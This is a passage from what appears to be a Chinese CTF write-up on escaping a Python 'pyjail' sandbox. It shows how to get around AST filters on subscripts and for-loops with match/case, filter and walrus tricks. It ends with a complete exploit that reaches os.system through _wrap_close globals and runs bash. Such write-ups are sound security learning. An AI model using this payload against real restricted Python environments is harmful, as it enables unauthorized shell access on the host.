min(list(dict(bash=[]))) # bash
如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。
match globals:
case object(get=get_func):
get_func("system")
绕过 ast.For 遍历列表
在构造最终 payload 中,我们还需要在 __subclasses__()
得到的列表中获取到 _wrap_close 类。
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")
当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时我们可以使用 filter,如下所示:
def filter_func(subclazzes_item):
[ _wrap_close:=min(list(dict(_wrap_close=[])))]
match subclazzes_item:
case object(__name__=name):
if name==_wrap_close:
return subclazzes_item
[
subclazzes_item:=min(filter(filter_func,subclazzes()))
]
fitler 中使用 match/case 和 if 来进行过滤。
除了使用 filter 函数外,还可以使用 iter 和 next 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。
EXP
整合了所有的绕过手段,其实就可以编写出 payload 了。
match str():
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazzes):
[
system:=min(list(dict(system=[]))),
bash:=min(list(dict(bash=[])))
]
def filter_func(subclazzes_item):
[ _wrap_close:=min(list(dict(_wrap_close=[])))]
match subclazzes_item:
case object(__name__=name):
if name==_wrap_close:
return subclazzes_item
[
subclazzes_item:=min(filter(filter_func,subclazzes()))
]
match subclazzes_item:
case object(__init__=initz):
match initz:
case object(__globals__=globals):
match globals:
case object(get=get_func):
get_func(system)(bash)
新学到的一些绕过手法也会同步更新到 pyjail 系列博客😊。